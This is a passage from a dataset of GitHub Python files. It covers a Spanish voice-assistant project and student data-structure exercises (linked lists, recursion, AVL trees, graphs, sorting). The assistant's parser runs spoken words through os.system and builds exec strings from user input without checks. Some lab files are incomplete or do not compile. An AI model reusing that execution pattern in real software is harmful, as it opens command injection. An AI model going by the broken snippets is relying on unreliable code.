TIAg.decir(saludo(TIAi.info[\"name\"]))\n elif self.word in TIAi.saves:\n TIAg.decir(TIAi.saves[self.word])\n elif self.word == \"recita\":\n TIAg.decir(TIAg.readtext())\n\nclass twoW:\n def __init__(self,words):\n self.words = words\n def sintax(self):\n if self.words[0] == \"soy\":\n TIAi.info[\"name\"] = self.words[1]\n TIAg.decir(encantado(TIAi.info[\"name\"]))\n elif self.words[0] == \"anclado\":\n TIAi.handlers[self.words[1]]()\n elif self.words[0] == \"mostrar\":\n print Sintax(self.words[1])\n elif self.words[0] == \"instalar\" and self.words[1] == \"paquetes\":\n if TIAi.isPIPInstall():\n TIAi.installPackages(TIAg.readtext().split(\",\"))\n elif self.words[0] == \"decir\":\n if self.words[1] == \"mi nombre\":\n TIAg.decir(TIAi.info[\"name\"])\n else:\n TIAg.decir(Sintax(self.words[1]))\n\nclass threeW:\n def __init__(self,words):\n self.words = words\n def sintax(self):\n if self.words[0] == \"repetir\" and self.words[2] == \"veces\":\n toasay = TIAg.readtext()\n for x in range(0,int(self.words[1])):\n TIAg.decir(toasay)\n if self.words[0] == \"ejecutar\":\n if self.words[1] == \"comando\":\n os.system(self.words[2])\n\nclass fourW:\n def __init__(self,words):\n self.words = words\n def sintax(self):\n if self.words[0] == \"anclar\" and self.words[2] == \"a\":\n exec \"TIAi.handlers[self.words[3]] = \" + self.words[1]\n elif self.words[0] == \"guardar\" and self.words[2] == \"como\":\n TIAi.saves[self.words[3]] = self.words[1]\n elif self.words[0] == \"guardar\" and self.words[1] == \"archivo\" and self.words[2] == \"en\":\n TIAi.saves[self.words[3]] = TIAg.leerarchivo()\n elif self.words[0] == \"registrar\" and self.words[1] == \"texto\" and self.words[2] == \"como\":\n TIAi.saves[self.words[3]] = TIAg.readtext()\n\nclass moreW:\n def __init__(self,words):\n self.words = words\n def sintax(self):\n pass\n\ndef Sintax(word):\n for d in TIAi.saves:\n if \"variable \" + d in word:\n word = word.replace(\"variable \" + d,TIAi.saves[d])\n return word" }, { "alpha_fraction": 0.558282196521759, "alphanum_fraction": 0.5619632005691528, "avg_line_length": 26.183332443237305, "blob_id": "48616fb40fa667f8f4989110d352238db6c42edd", "content_id": "d0f3a6e7886c150f30962b4b6997c282202bd3b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1630, "license_type": "no_license", "max_line_length": 96, "num_lines": 60, "path": "/TIAr.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "import speech_recognition as sr\nimport TIAb\n\ndef commandlikeconsole(text):\n words = list()\n inword = \"\"\n quotes = False\n for x in range(0,len(text)):\n if text[x] == \" \" and not quotes:\n if inword != \"\":\n words.append(inword)\n inword = \"\"\n elif text[x] == \"\\\"\":\n if quotes:\n quotes = False\n else:\n quotes = True\n else:\n inword += text[x]\n if inword != \"\":\n words.append(inword)\n del inword\n return words\n\ndef toTextToTIACommand(speechtext):\n speechtext = speechtext.replace(speechtext.split(\" \")[0],speechtext.split(\" \")[0].lower(),1)\n if speechtext.startswith(\"mostrar \"):\n speechtext = \"mostrar \\\"\" + speechtext[8:] + \"\\\"\"\n if speechtext.startswith(\"decir \"):\n speechtext = \"decir \\\"\" + speechtext[6:] + \"\\\"\"\n return speechtext\n\ndef listener():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source)\n print(\":\")\n audio = r.listen(source)\n try:\n return r.recognize_google(audio, language=\"es-ES\")\n except:\n return \"\"\n\ndef frenchlistener():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source)\n print(\":\")\n audio = r.listen(source)\n try:\n return r.recognize_google(audio, language=\"fr-FR\")\n except:\n return \"\"\n\ndef analize(words):\n sintax = TIAb.getTipePhrase(len(words))(words)\n sintax.sintax()\n\nwhile True:\n analize(commandlikeconsole(toTextToTIACommand(listener())))" }, { "alpha_fraction": 0.8214285969734192, "alphanum_fraction": 0.8392857313156128, "avg_line_length": 27.5, "blob_id": "8e50f9fa580d75bec76da59e97b88ad112300239", "content_id": "e6fc4815c98b509111e5fdd4d591a9879e41341a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 56, "license_type": "no_license", "max_line_length": 31, "num_lines": 2, "path": "/TIAs.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "from playsound import playsound\nplaysound(\"TIAPLAY.mp3\")" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 28.75, "blob_id": "cff94853cff67894b9bd1bf7f1fcedc18393d530", "content_id": "caff7160b05a6e672853092bc5429e045b5fbc46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 86, "num_lines": 20, "path": "/TIAi.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "from subprocess import Popen, PIPE\n\ninfo = {\"name\": \"desconocido\"}\nhandlers = {}\nsaves = {}\n\ndef isPIPInstall():\n p = Popen(['pip'], stdin=PIPE, stdout=PIPE, stderr=PIPE)\n output, err = p.communicate(b\"input data that is passed to subprocess' stdin\")\n if output.startswith(\"\\nUsage:\"):\n return True\n else:\n return False\n\ndef installPackages(*pks):\n for p in pks:\n p = Popen(['pip','install',p], stdin=PIPE, stdout=PIPE, stderr=PIPE)\n output, err = p.communicate(b\"input data that is passed to subprocess' stdin\")\n print output\n print err" }, { "alpha_fraction": 0.5560747385025024, "alphanum_fraction": 0.5607476830482483, "avg_line_length": 25.77083396911621, "blob_id": "5c659746aec2f562335e241606ec0f3f98ffef3b", "content_id": "9fe178b5aef7a82fc2e58050c6cd23a4881cc7d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1284, "license_type": "no_license", "max_line_length": 69, "num_lines": 48, "path": "/TIAg.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "import os\nfrom Tkinter import *\nfrom tkFileDialog import askopenfilename\nfrom gtts import gTTS\n\ndef leerarchivo():\n Tk().withdraw()\n filename = askopenfilename(title=\"TIA FILE READER\")\n return open(filename,'r').read()\n\ndef decir(texto):\n try:\n tts = gTTS(text=texto, lang='es-es')\n tts.save(\"TIAPLAY.mp3\")\n os.system(\"python TIAs.py\")\n except:\n print \"Error\"\n\nclass TextReader():\n def __init__(self):\n self.to = None\n self.on = True\n self.root = Tk()\n self.root.title(\"TIA TEXT READER\")\n S = Scrollbar(self.root)\n self.T = Text(self.root, height=7, width=50)\n S.pack(side=RIGHT, fill=Y)\n self.T.pack(side=LEFT, fill=Y)\n S.config(command=self.T.yview)\n self.T.config(yscrollcommand=S.set)\n B = Button(self.root, text=\"Aceptar\", command=self.__gettext)\n B.pack()\n mainloop()\n def __gettext(self):\n self.to = self.T.get(\"1.0\",END)\n self.on = False\n self.root.destroy()\n def readandclose(self):\n while True:\n if self.to != None:\n d = self.to\n return d\n elif not self.on:\n return None\n\ndef readtext():\n t = TextReader()\n return t.readandclose()" } ]
7
akio777/Data_Structure
https://github.com/akio777/Data_Structure
8740694d8e9203418c68b9e167670269849fb249
77da2aa22977b6608f5f2eed1e047388a36f93ae
4a120ef8491b597d5ff4d3ef875c16ea3be573a5
refs/heads/master
2022-04-28T13:44:27.032273
2022-04-21T10:46:26
2022-04-21T10:46:26
223,910,754
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.45485326647758484, "alphanum_fraction": 0.4926636517047882, "avg_line_length": 25.149253845214844, "blob_id": "f431aed4d18b87fcb581b428b2a965f8111103b9", "content_id": "b9afbab7c7c7668f8492abf50b4998ffe27b37b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3544, "license_type": "no_license", "max_line_length": 123, "num_lines": 134, "path": "/LAB_graph/lab_graph.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from termcolor import colored\nclass Node:\n\n def __init__(self, data, Next=[], weight=[]):\n self.data = data\n self.weight = [] if weight is [] else weight\n self.Next = [] if Next is [] else Next\n\n def __str__(self):\n return str(self.data)\n\nl = [1,2,3,4,5,6,7]\nadjL = []\nfor i in l:\n adjL.append(Node(i))\n\n# adjL[1 - 1].Next = [2,4,3]\n# adjL[2 - 1].Next = [4,5]\n# adjL[3 - 1].Next = [6]\n# adjL[4 - 1].Next = [6,7,3]\n# adjL[5 - 1].Next = [4,7]\n# adjL[7 - 1].Next = [6]\n\n# adjL[1 - 1].weight = [2,1,4]\n# adjL[2 - 1].weight = [3,10]\n# adjL[3 - 1].weight = [5]\n# adjL[4 - 1].weight = [8,4,2]\n# adjL[5 - 1].weight = [2,6]\n# adjL[7 - 1].weight = [1]\n\nadjL[1 - 1].Next = [adjL[2-1],adjL[4 - 1],adjL[3 - 1]]\nadjL[2 - 1].Next = [adjL[4 - 1],adjL[5 - 1]]\nadjL[3 - 1].Next = [adjL[6-1]]\nadjL[4 - 1].Next = [adjL[6-1],adjL[7 - 1],adjL[3 - 1]]\nadjL[5 - 1].Next = [adjL[4 - 1],adjL[7 - 1]]\nadjL[7 - 1].Next = [adjL[6-1]]\n\nadjL[1 - 1].weight = [2,1,4]\nadjL[2 - 1].weight = [3,10]\nadjL[3 - 1].weight = [5]\nadjL[4 - 1].weight = [8,4,2]\nadjL[5 - 1].weight = [2,6]\nadjL[7 - 1].weight = [1]\n\n\n\n\ndef print_adj_list(INPUT):\n print('---- Adjacency LIST ----')\n for i in INPUT:\n print(str(i),end=' ')\n for j in i.Next:\n print('>',colored(j,'red'),end=' ')\n print()\n print()\n\ndef print_adj_matrix(INPUT):\n print('---- Adjacency MATRIX ----')\n color = ['cyan','magenta']\n in_color = 0\n print(' ',end=' ')\n for i in range(1,len(INPUT)+1):\n print(i,end=' ')\n print()\n for V in INPUT:\n print(str(V),end=' ')\n for i in range(1,len(INPUT)+1):\n \n found = False\n for j in V.Next:\n if i == j.data:\n print(colored(V.weight[V.Next.index(j)],color[in_color]),end=' ')\n found = True\n \n if not found:\n print(' ',end=' ')\n # if i in V.Next:\n # print(colored(V.weight[V.Next.index(i)],color[in_color]),end=' ')\n # else:\n # print(' ',end=' ')\n print()\n if in_color == 0:\n in_color = 1\n else:\n in_color = 0\n print()\n\ndef node(index):\n global adjL\n return adjL[index - 1] \n\n\n\n\ntrue_Path = []\ndef shortPATH(graph ,src, des): #! <----- distance = sum of weight , path = list of passed List/NODE ??????????????????????\n distance = 0\n path = []\n _shotPATH(graph ,src, des, distance, path)\n distance = []\n for i in true_Path:\n distance.append(i[0])\n beforeOUT = true_Path[distance.index(min(distance))]\n strOUT = 'The shortest path \\t'+ colored('-','red')\n for i in beforeOUT[1]:\n strOUT += colored('-> ','red')+colored(str(i),'green') + ' '\n strOUT += '\\nDistance\\t\\t' + colored('--> ', 'blue') + colored(str(beforeOUT[0]),'yellow')\n return strOUT\n\n\n\ndef _shotPATH(graph ,src, des, distance, path):\n global true_Path\n path.append(str(src))\n if src == des:\n # print('DISTANCE : ',distance,'\\tPATH ->',path)\n true_Path.append([distance, path.copy()])\n path.pop()\n\n elif len(src.Next) != 0:\n for ele in src.Next:\n # path.append(str(ele))\n path = _shotPATH(graph, ele, des, distance+src.weight[src.Next.index(ele)], path) \n if len(path) != 0:\n path.pop()\n \n # print(path)\n return path\n \n\n\nprint_adj_list(adjL)\nprint_adj_matrix(adjL)\nprint(shortPATH(adjL, node(1), node(6)))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.42774006724357605, "alphanum_fraction": 0.4578079581260681, "avg_line_length": 22.930233001708984, "blob_id": "e3b1bbb04675f10790924b86bf333b18e5465d3c", "content_id": "c643e145998e97e331419a762c1175ea976e16c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1031, "license_type": "no_license", "max_line_length": 106, "num_lines": 43, "path": "/LAB2/lab2_parenthesis matching.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from lab2_stack import Stack\n\n################ CHANGE TEST HERE #####################\n\nstr = \"(a+b-c*[d+e]/{f*(g+h)}\"\n# str = \"[( a+b-c }*[d+e]/{f*(g+h)}\"\n# str = \"(3+2)/{4**5}\"\n\n\nerror = False\ns = Stack()\ncount = [0,0,0,0,0,0]\nlength = len(str)\nfor i in range(0,length):\n if str[i] == \"(\" or str[i] == \")\" or str[i] == \"{\" or str[i] == \"}\" or str[i] == \"[\" or str[i] == \"]\":\n s.push(str[i])\nfor i in range(0,s.size()):\n # print(s.item[i], end =\"\")\n if s.item[i] == \"(\":\n count[0]+=1\n elif s.item[i] == \")\":\n count[1]+=1\n elif s.item[i] == \"{\":\n count[2]+=1\n elif s.item[i] == \"}\":\n count[3]+=1\n elif s.item[i] == \"[\":\n count[4]+=1\n elif s.item[i] == \"]\":\n count[5]+=1 \n\nif count[0]!=count[1]: error = True\nelif count[2]!=count[3]: error = True\nelif count[4]!=count[5]: error = True\nelse : error = False\n\nif error == True:\n print('MISMATCH')\nelse:\n if s.isEmpty == False:\n print('MISMATCH open paren. exceed')\n else:\n print('MATCH')\n\n\n" }, { "alpha_fraction": 0.4520833194255829, "alphanum_fraction": 0.4866666793823242, "avg_line_length": 18.941667556762695, "blob_id": "401b2190948dbd5e73fc77049733a7271da4da44", "content_id": "662b61114cac952b1a5cf22270d6ed99e828015b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2400, "license_type": "no_license", "max_line_length": 65, "num_lines": 120, "path": "/LAB07-TreeAll/Recursion.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "def factorial(n):\n if n == 0 or n == 1:\n return 1\n else:\n return n* factorial(n-1)\n\n\ndef findMIN(l, start, end):\n if start == end:\n return l[start]\n else:\n MIN = findMIN(l, start+1, end)\n if l[start] < MIN:\n return l[start]\n else:\n return MIN\n\ndef sumlist1toN(l,n):\n if n == 0:\n return 0\n elif n == 1:\n return l[0]\n else:\n return l[n-1] + sumlist1toN(l,n-1)\n\ndef sumNtoM(l,n,m):\n if n > m:\n return 0\n elif n == m:\n return l[n]\n else:\n return l[n] + sumNtoM(l,n+1,m)\n\n\ndef printNto1(n):\n if n == 0:\n return 0\n elif n == 1:\n return str(n)\n else:\n return str(n) + str(printNto1(n-1))\n\ndef print1toN(n):\n if n == 0:\n return 0\n elif n == 1:\n return str(n)\n else:\n return str(print1toN(n-1)) + str(n)\n\n# print(factorial(5))\n# print(findMIN(l,0,len(l)-1))\n# print(sumlist1toN(l,2))\n# l = [1,2,3,4,5]\n# print(sumNtoM(l,0,4))\n# print(printNto1(3))\n# print(print1toN(3))\n\n\n\n# search x in list\ndef BNS(l, data, n):\n if l[n] == data:\n return n\n else:\n # if l[n] > data:\n # return BNS(l, data, n-1)\n # else:\n # return BNS(l, data, n+1)\n if data > l[n]:\n return BNS(l, data, n+1)\n else:\n return BNS(l, data, n-1)\n# l = [1,2,3,4,5,6,7,8,9]\n# print(BNS(l,4,len(l)-1))\n\n\n\n# tower of Hanoi\n # can move only ONE disk per round\n # upper only can move\n # No disk may placed on top if it be smaller disk\n\n #start stop middle\ndef TowerOfHanoi(n, fromthis, tothis, tonextto):\n if n == 1:\n print('Move disk 1 from',fromthis,' to ', tothis) # A > C\n return\n TowerOfHanoi(n-1, fromthis, tonextto, tothis) # A > B\n print('Move disk',n,' from ', fromthis, ' to ', tothis)\n TowerOfHanoi(n-1, tonextto, tothis, fromthis) # C > B\n\n# n = 4\n# TowerOfHanoi(4, 'A', 'C', 'B')\n\n\ndef fac(n):\n if n == 0 or n == 1:\n return 1\n else:\n return n * fac(n-1)\n\ndef sumN(l, n):\n if n == 0:\n return 0\n elif n == 1:\n return l[0]\n else:\n return l[n-1]+sumN(l,n-1)\n\ndef sumItoJ(l, i, j):\n if i > j:\n return 0\n elif i == j:\n return l[i]\n else:\n return l[i] + sumItoJ(l, i+1, j)\n \na = [1,2,3,4,5]\nprint(sumItoJ(a, 0, 4))\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.42047378420829773, "alphanum_fraction": 0.4543147087097168, "avg_line_length": 24.65217399597168, "blob_id": "7c333226a04cf6e24b35c4d7ea92e441c1bc431a", "content_id": "ad7841f8292c16db3040e78311a57e788046fe1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2364, "license_type": "no_license", "max_line_length": 56, "num_lines": 92, "path": "/LAB3/lab3_Queue_Caesar.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "\ndef encode(CHA, x):\n if type(CHA) == str:\n if x == 0:\n temp = ord(CHA) + 2\n return temp\n elif x == 1:\n temp = ord(CHA) + 5\n return temp\n elif x == 2:\n temp = ord(CHA) + 6\n return temp\n elif x == 3:\n temp = ord(CHA) + 1\n return temp\n elif x == 4:\n temp = ord(CHA) + 8\n return temp\n elif x == 5:\n temp = ord(CHA) + 3\n return temp\n\ndef decode(CHA, y):\n if type(CHA) == str:\n if y == 0:\n temp = ord(CHA) - 2\n return temp\n elif y == 1:\n temp = ord(CHA) - 5\n return temp\n elif y == 2:\n temp = ord(CHA) - 6\n return temp\n elif y == 3:\n temp = ord(CHA) - 1\n return temp\n elif y == 4:\n temp = ord(CHA) - 8\n return temp\n elif y == 5:\n temp = ord(CHA) - 3\n return temp\n\n# INPUT = input('Enter your code for <Caesar encode> :')\nINPUT = 'I love Python'\n\nlength = len(INPUT)\nword = []\n\nfor i in range(0,length):\n word.append(INPUT[i])\n\nprint(word)\n\ncode = 0\nfor i in range(0,length):\n if word[i] != ' ':\n if encode(word[i],code) in range(65,90):\n word[i] = chr(encode(word[i],code))\n elif encode(word[i],code) in range(91,96):\n word[i] = chr(encode(word[i],code)-26)\n elif encode(word[i],code) in range(97,122):\n word[i] = chr(encode(word[i],code))\n elif encode(word[i],code) in range(123,127):\n word[i] = chr(encode(word[i],code)-26)\n\n if code != 5:\n code = code + 1\n else:\n code = 0\n\nprint(\"\")\nprint(\"ENCODE :\") \nprint(word)\n\nfor i in range(0,length):\n if word[i] != ' ':\n if decode(word[i],code) in range(65,90):\n word[i] = chr(decode(word[i],code))\n elif decode(word[i],code) in range(91,96):\n word[i] = chr(decode(word[i],code)+26)\n elif decode(word[i],code) in range(97,122):\n word[i] = chr(decode(word[i],code))\n elif decode(word[i],code) in range(123,127):\n word[i] = chr(decode(word[i],code)+26)\n\n if code != 5:\n code = code + 1\n else:\n code = 0\nprint(\"\")\nprint(\"DECODE :\") \nprint(word)\n\n\n\n" }, { "alpha_fraction": 0.6270270347595215, "alphanum_fraction": 0.7270269989967346, "avg_line_length": 13.760000228881836, "blob_id": "9a12f4ffe7eee0864e5fe7284b5f0e0b548f7a9d", "content_id": "9524150ed3a5d15862d0d74ddb5a84b75a2106ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "no_license", "max_line_length": 33, "num_lines": 25, "path": "/LAB1/MAIN/MAIN/MAIN.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from Stack import Stack\nfrom Queue import Queue\nfrom LinkedList import LinkedList\n\n\nLL = LinkedList()\nLL.append(64)\nLL.append(8)\nLL.append(216)\nLL.append(512)\nLL.append(27)\nLL.append(729)\nLL.append(0)\nLL.append(1)\nLL.append(343)\nLL.append(125)\n#LL.append(169)\n#LL.append(458)\n#LL.append(985)\n#LL.append(123)\n#LL.append(50)\n#LL.append(3)\n\nprint(LL)\nprint(LL.sortunit())\n\n" }, { "alpha_fraction": 0.5013227462768555, "alphanum_fraction": 0.5066137313842773, "avg_line_length": 17.439023971557617, "blob_id": "994dde44dc5ac4bfebe4746d7e20534286284f29", "content_id": "80b03b1ad069adeefc05ecc88c00ab6fcf966e7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 756, "license_type": "no_license", "max_line_length": 40, "num_lines": 41, "path": "/LABxAKIO/LAB4_list.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from LAB4_node import Node\n\nclass list:\n\n def __init__(self, head = None):\n if head is None:\n self.head = self.tail = None\n self.SIZE = 0\n else:\n self.head = head\n self.tail = self.head\n self.SIZE = 1\n while t.\n\n def __str__(self):\n return str(self.head)\n\n def append(self, data):\n \n \n def size(self):\n return self.SIZE\n\n def isEmpty(self):\n if self.SIZE > 0:\n return False\n else: return True\n \n def addHead(self, data):\n self.head = data\n\n def getHead(self):\n return self.head\nI = list()\nI.append('A')\nI.append('B')\nI.append('C')\nprint(I)\nprint(I.size())\nprint(I.isEmpty())\nprint(I.head)\n" }, { "alpha_fraction": 0.6014975309371948, "alphanum_fraction": 0.6143926978111267, "avg_line_length": 24.3157901763916, "blob_id": "de710b2025ccd2f30722ea82533c9c5f11274714", "content_id": "f90de3099822bc0ab2df953d59afc57516deaf24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2404, "license_type": "no_license", "max_line_length": 70, "num_lines": 95, "path": "/LAB07-TreeAll/avl_insert_only.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None, parent=None):\n self.data = data\n self.left = None if left else left \n self.right = None if right else right\n self.parent = None if parent else parent\n self.height = 1\n\n def __str__(self):\n return str(self.data)\n\ndef insert(root, data):\n if root:\n if data < root.data:\n root.left = insert(root.left, data)\n else:\n root.right = insert(root.right, data)\n else:\n return Node(data)\n\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n balance = getBalance(root)\n\n if balance >1 and data < root.left.data and root.left:\n return RightRotate(root)\n\n if balance <-1 and data > root.right.data and root.right:\n return LeftRotate(root)\n\n if balance > 1 and data > root.left.data and root.left:\n root.left = LeftRotate(root.left)\n return RightRotate(root)\n\n if balance < -1 and data < root.right.data and root.right:\n root.right = RightRotate(root.right)\n return LeftRotate(root)\n\n return root\n\ndef RightRotate(root):\n swap = root.left\n swapchild = swap.right\n swap.right = root\n root.left = swapchild\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n swap.height = 1 + max(getHeight(swap.left), getHeight(swap.right))\n return swap\n\ndef LeftRotate(root):\n swap = root.right\n swapchild = swap.left\n swap.left = root\n root.right = swapchild\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n swap.height = 1 + max(getHeight(swap.left), getHeight(swap.right))\n return swap\n\ndef getHeight(root):\n if root:\n return root.height\n else:\n return False\n\ndef getBalance(root):\n if not root:\n return 0\n return getHeight(root.left)-getHeight(root.right)\n\ndef inOrder(root):\n if root:\n inOrder(root.left)\n print(root.data,end=' ')\n inOrder(root.right)\n\ndef printSideway(root):\n _printSideway(root, 0)\n print()\n\ndef _printSideway(root, lv):\n if root:\n _printSideway(root.right, lv+1)\n print(' '*lv, root.data, sep='')\n _printSideway(root.left, lv+1)\n\n\nl = [14,4,9,7,15,3,18,16,20,5,16 ]\nroot = None\nfor element in l:\n root = insert(root, element)\n\n\ninOrder(root)\nprint(' ')\nprint('_|_|_|_|_|_|_|_|_|_|_')\nprintSideway(root)" }, { "alpha_fraction": 0.40632566809654236, "alphanum_fraction": 0.41828086972236633, "avg_line_length": 26.576271057128906, "blob_id": "891d5848a1b16701fbeea340175bc810c6e0e79f", "content_id": "969bc06805aabbcf5ab41bf0d8177287bd185e75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6608, "license_type": "no_license", "max_line_length": 75, "num_lines": 236, "path": "/LAB4/Linkedlist.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from Node import Node\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n\n def size(self):\n temp = self.head\n length = 0\n while temp != None:\n length += 1\n temp = temp.next\n return length\n\n def isEmpty(self):\n return self.size() == 0\n\n def append(self, data):\n if isinstance(data , Node):\n newNode = data\n else:\n newNode = Node(data)\n\n if self.head == None:\n self.head = newNode\n else:\n pointer = self.head\n while True:\n if pointer.next == None:\n pointer.next = newNode\n break\n pointer = pointer.next\n \n def addHead(self, data):\n if(self.head == None):\n self.head = data\n else:\n data.next = self.head\n self.head = data\n\n def isIn(self, data):\n temp = self.head\n found = False\n while temp != None:\n if(temp.data == data):\n found = True\n break\n temp = temp.next\n return found\n \n def before(self, data):\n check = data\n temp = self.head\n count = 0\n if self.isIn(data):\n while (temp.data != check):\n count += 1\n temp = temp.next\n temp = self.head\n for i in range(0,count-1):\n temp = temp.next\n if temp != None:\n print(\"Found is \",end='')\n print(temp)\n else:\n print(\"Not Found\")\n\n def remove(self, data):\n head = self.head\n if head.data == data:\n self.removeHead()\n elif self.isIn(data):\n p1 = self.head\n p2 = p1.next\n \n while p2.next != None and p2.data != data:\n p1 = p1.next\n p2 = p2.next\n # print(p2)\n if p2.next != None:\n temp = p2.next\n p2.setNext()\n p1.setNext(temp)\n else:\n p1.setNext()\n \n else:\n print(data,end='')\n print(\" isn't in Linkedlist\")\n return p2\n\n def removeTail(self):\n tail = None\n if self.head != None:\n if self.head.next == None:\n tail = self.head\n self.head = None\n else:\n temp = self.head\n while temp.next.next != None:\n temp = temp.next\n tail = temp.next\n temp.next = None\n return tail\n\n def getTail(self):\n tail = None\n tail = self.head\n while tail.next != None:\n tail = tail.next\n return tail\n \n def getHead(self):\n tail = self.head\n if self.head != None:\n tail = self.head\n return tail\n\n def removeHead(self):\n tail = self.head\n if self.head != None:\n self.head = self.head.next\n return tail\n\n def __str__(self):\n temp = self.head\n s = ''\n while temp != None:\n s += str(temp.data)+' '\n temp = temp.next\n return s\n \n def headtotail(self):\n head = self.removeHead()\n tail = self.getTail()\n head.setNext()\n tail.setNext(head)\n\n def tailtohead(self):\n tail = self.removeTail()\n self.addHead(tail)\n\n def insert_specindex(self , data, index_data):\n if isinstance(data , Node):\n newNode = data\n else:\n newNode = Node(data)\n p = self.head\n x = 1\n while True:\n if p.getData() == index_data:\n break\n p = p.next\n x += 1\n index = x\n # print(x)\n if index < 1:\n print(\"Index can't less than 1\")\n elif index > self.size():\n print(\"Index out boundary of Linkedlist's length\")\n else:\n p1 = self.head\n p2 = p1.next\n count = 1\n while count < index:\n p1 = p1.next\n p2 = p2.next\n count += 1\n # print(p1)\n # print(p2)\n newNode.setNext(p2)\n p1.setNext(newNode)\n\n def riff(self, length):\n p1_to_LL = self.head\n pointer = self.head\n x = 0\n if length >= 5:\n # print(\"more than 50\")\n while x < 10-length:\n count = 0\n while count < length:\n pointer = pointer.next\n count += 1\n # print(pointer)\n temp = self.remove(pointer.getData())\n # print(temp.getData())\n pointer = self.head\n self.insert_specindex(temp, p1_to_LL.getData())\n p1_to_LL = temp.next\n length += 1\n else:\n static_length = length\n # print(\"less than 50\")\n while x < static_length:\n # print(length)\n count = 0\n while count < length:\n pointer = pointer.next\n count += 1\n # print(pointer)\n temp = self.remove(pointer.getData())\n pointer = self.head\n # print(temp)\n self.insert_specindex(temp, p1_to_LL.getData())\n p1_to_LL = temp.next\n length += 1\n x+=1\n \n def driff(self, length):\n p1 = self.head\n\n if length >= 5:\n static_length = 10-length\n count = 0\n while count < static_length:\n temp = self.remove(p1.next.getData())\n p1 = p1.next\n self.append(temp.getData())\n count += 1\n else:\n static_length = 10-length\n p1 = self.head\n point_last = self.head\n x = 1\n while x < length:\n count = 0\n # print(static_length)\n while count < static_length:\n point_last = point_last.next\n count += 1\n # print(point_last)\n temp = self.remove(p1.next.getData())\n self.insert_specindex(temp.getData(), point_last.getData())\n p1 = p1.next\n point_last = self.head\n x += 1\n\n\n \n \n \n \n\n\n\n\n \n\n\n\n\n\n\n \n\n\n\n\n \n\n" }, { "alpha_fraction": 0.4327758252620697, "alphanum_fraction": 0.45915085077285767, "avg_line_length": 24.393442153930664, "blob_id": "3a4110647e4028ebdc1a90163a592cc245b0b6ee", "content_id": "c4b41cd650b2dec3468e5cfbe0b4ae5fef63a720", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6218, "license_type": "no_license", "max_line_length": 92, "num_lines": 244, "path": "/Round3greatAGAIN/Sorting.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "import random\nimport datetime\n\ndef RNGsus(a, b):\n number = random.randint(a, b)\n return number\n\ndef bubbleSORT(l, mode):\n start = datetime.datetime.now()\n length = len(l)\n if mode is 'D': # max to min\n for i in range(0,length,+1):\n for j in range(i+1,length,+1):\n if l[j] > l[i]:\n temp = l[j]\n l[j] = l[i]\n l[i] = temp\n else:\n for i in range(0,length,+1):\n for j in range(i+1,length,+1):\n if l[j] < l[i]:\n temp = l[j]\n l[j] = l[i]\n l[i] = temp\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< BUBBLEsort')\n\ndef selectionSORT(l, mode):\n start = datetime.datetime.now()\n length = len(l)\n if mode is 'D': # max to min\n for i in range(0,length,+1):\n indexMIN = i\n for j in range(i+1,length,+1):\n if l[j] > l[i]:\n indexMIN = j\n temp = l[i]\n l[i] = l[indexMIN]\n l[indexMIN] = temp\n else:\n for i in range(0,length,+1):\n indexMIN = i\n for j in range(i+1,length,+1):\n if l[j] < l[i]:\n indexMIN = j\n temp = l[i]\n l[i] = l[indexMIN]\n l[indexMIN] = temp\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< SELECTIONsort')\n\ndef insertionSORT(l, mode):\n start = datetime.datetime.now()\n length = len(l)\n if mode is 'D':\n for i in range(1,length,+1):\n temp = l[i]\n j = i\n while j > 0 and l[j-1] < temp:\n l[j] = l[j-1]\n j-=1\n l[j] = temp\n 